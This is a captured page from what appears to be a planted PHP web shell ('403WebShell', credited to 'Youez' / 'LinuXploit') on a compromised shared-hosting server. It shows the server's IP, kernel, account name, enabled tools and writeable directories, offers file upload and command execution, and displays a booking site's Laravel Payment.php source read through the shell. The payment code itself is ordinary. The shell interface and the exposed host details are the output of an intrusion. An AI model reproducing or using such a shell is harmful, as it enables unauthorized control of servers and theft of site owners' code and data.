Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.138.134.77
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Booking/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Booking/Models/Payment.php
<?php
namespace Modules\Booking\Models;

use App\BaseModel;
use App\User;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Mail;
use Modules\Tour\Models\Tour;
use Modules\User\Emails\CreditPaymentEmail;
use Modules\User\Emails\VendorRegisteredEmail;
use Modules\User\Models\Wallet\Transaction;

class Payment extends BaseModel
{
    protected $table = 'bravo_booking_payments';
    protected $meta_json = null;

    public function save(array $options = [])
    {
        if (empty($this->code))
            $this->code = $this->generateCode();
        return parent::save($options); // TODO: Change the autogenerated stub
    }

    public function getStatusNameAttribute()
    {
        return booking_status_to_text($this->status);
    }

    public function getGatewayObjAttribute()
    {
        return $this->payment_gateway ? get_payment_gateway_obj($this->payment_gateway) : false;
    }

    public function generateCode()
    {
        return md5(uniqid() . rand(0, 99999));
    }

    public function notifyObject(){
        switch ($this->object_model){
            case "wallet_deposit":
                $user = User::find($this->object_id);
                if($this->status != 'completed'){
                    $url = route('user.wallet');
                    return [false,__("Payment fail"),$url];
                }
                if(!empty($user)){
                    try {
                        $user->creditPaymentUpdate($this);
                    }catch (\Exception $exception){
                        $url =  route('user.wallet');
                        return [false,$exception->getMessage(),$url];
                    }

                    $url = route('user.wallet');
                    return [true,__("Payment updated"),$url];
                }

                break;

        }
    }

    public function markAsFailed($logs = ''){
        $this->status = 'fail';
        $this->logs = \GuzzleHttp\json_encode($logs);
        $this->save();
        $this->sendUpdatedPurchaseEmail();
        return $this->notifyObject();
    }
    public function markAsCancel($logs = ''){
        $this->status = 'cancel';
        $this->logs = \GuzzleHttp\json_encode($logs);
        $this->save();
        $this->sendUpdatedPurchaseEmail();
        return $this->notifyObject();
    }

    public function markAsCompleted($logs = ''){
        $this->status = 'completed';
        $this->logs = \GuzzleHttp\json_encode($logs);
        $this->save();
        $this->sendNewPurchaseEmail();
        return $this->notifyObject();
    }


    public function getMeta($key = '', $default = '')
    {
        if(!$key){
            return PaymentMeta::query()->get()->toArray();
        }
        $val = PaymentMeta::query()->where([
            'payment_id' => $this->id,
            'name'       => $key
        ])->first();
        if (!empty($val)) {
            return $val->val;
        }
        return $default;
    }

    public function getJsonMeta($key, $default = [])
    {
        $meta = $this->getMeta($key, $default);
        if(empty($meta)) return false;
        return json_decode($meta, true);
    }

    public function addMeta($key, $val, $multiple = false)
    {

        if (is_object($val) or is_array($val))
            $val = json_encode($val);
        if ($multiple) {
            return PaymentMeta::create([
                'name'       => $key,
                'val'        => $val,
                'payment_id' => $this->id
            ]);
        } else {
            $old = PaymentMeta::query()->where([
                'payment_id' => $this->id,
                'name'       => $key
            ])->first();
            if ($old) {
                $old->val = $val;
                return $old->save();

            } else {
                return PaymentMeta::create([
                    'name'       => $key,
                    'val'        => $val,
                    'payment_id' => $this->id
                ]);
            }
        }
    }



    public function sendUpdatedPurchaseEmail(){

        switch ($this->object_model){
            case "wallet_deposit":
                Mail::to(setting_item('admin_email'))->send(new CreditPaymentEmail(false, $this, 'admin'));
                if($this->user)
                    Mail::to($this->user->email)->send(new CreditPaymentEmail(false, $this, 'customer'));
            break;
        }

    }

    public function sendNewPurchaseEmail(){

        switch ($this->object_model) {
            case "wallet_deposit":
                Mail::to(setting_item('admin_email'))->send(new CreditPaymentEmail(true, $this, 'admin'));

                if ($this->user)
                    Mail::to($this->user->email)->send(new CreditPaymentEmail(true, $this, 'customer'));
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit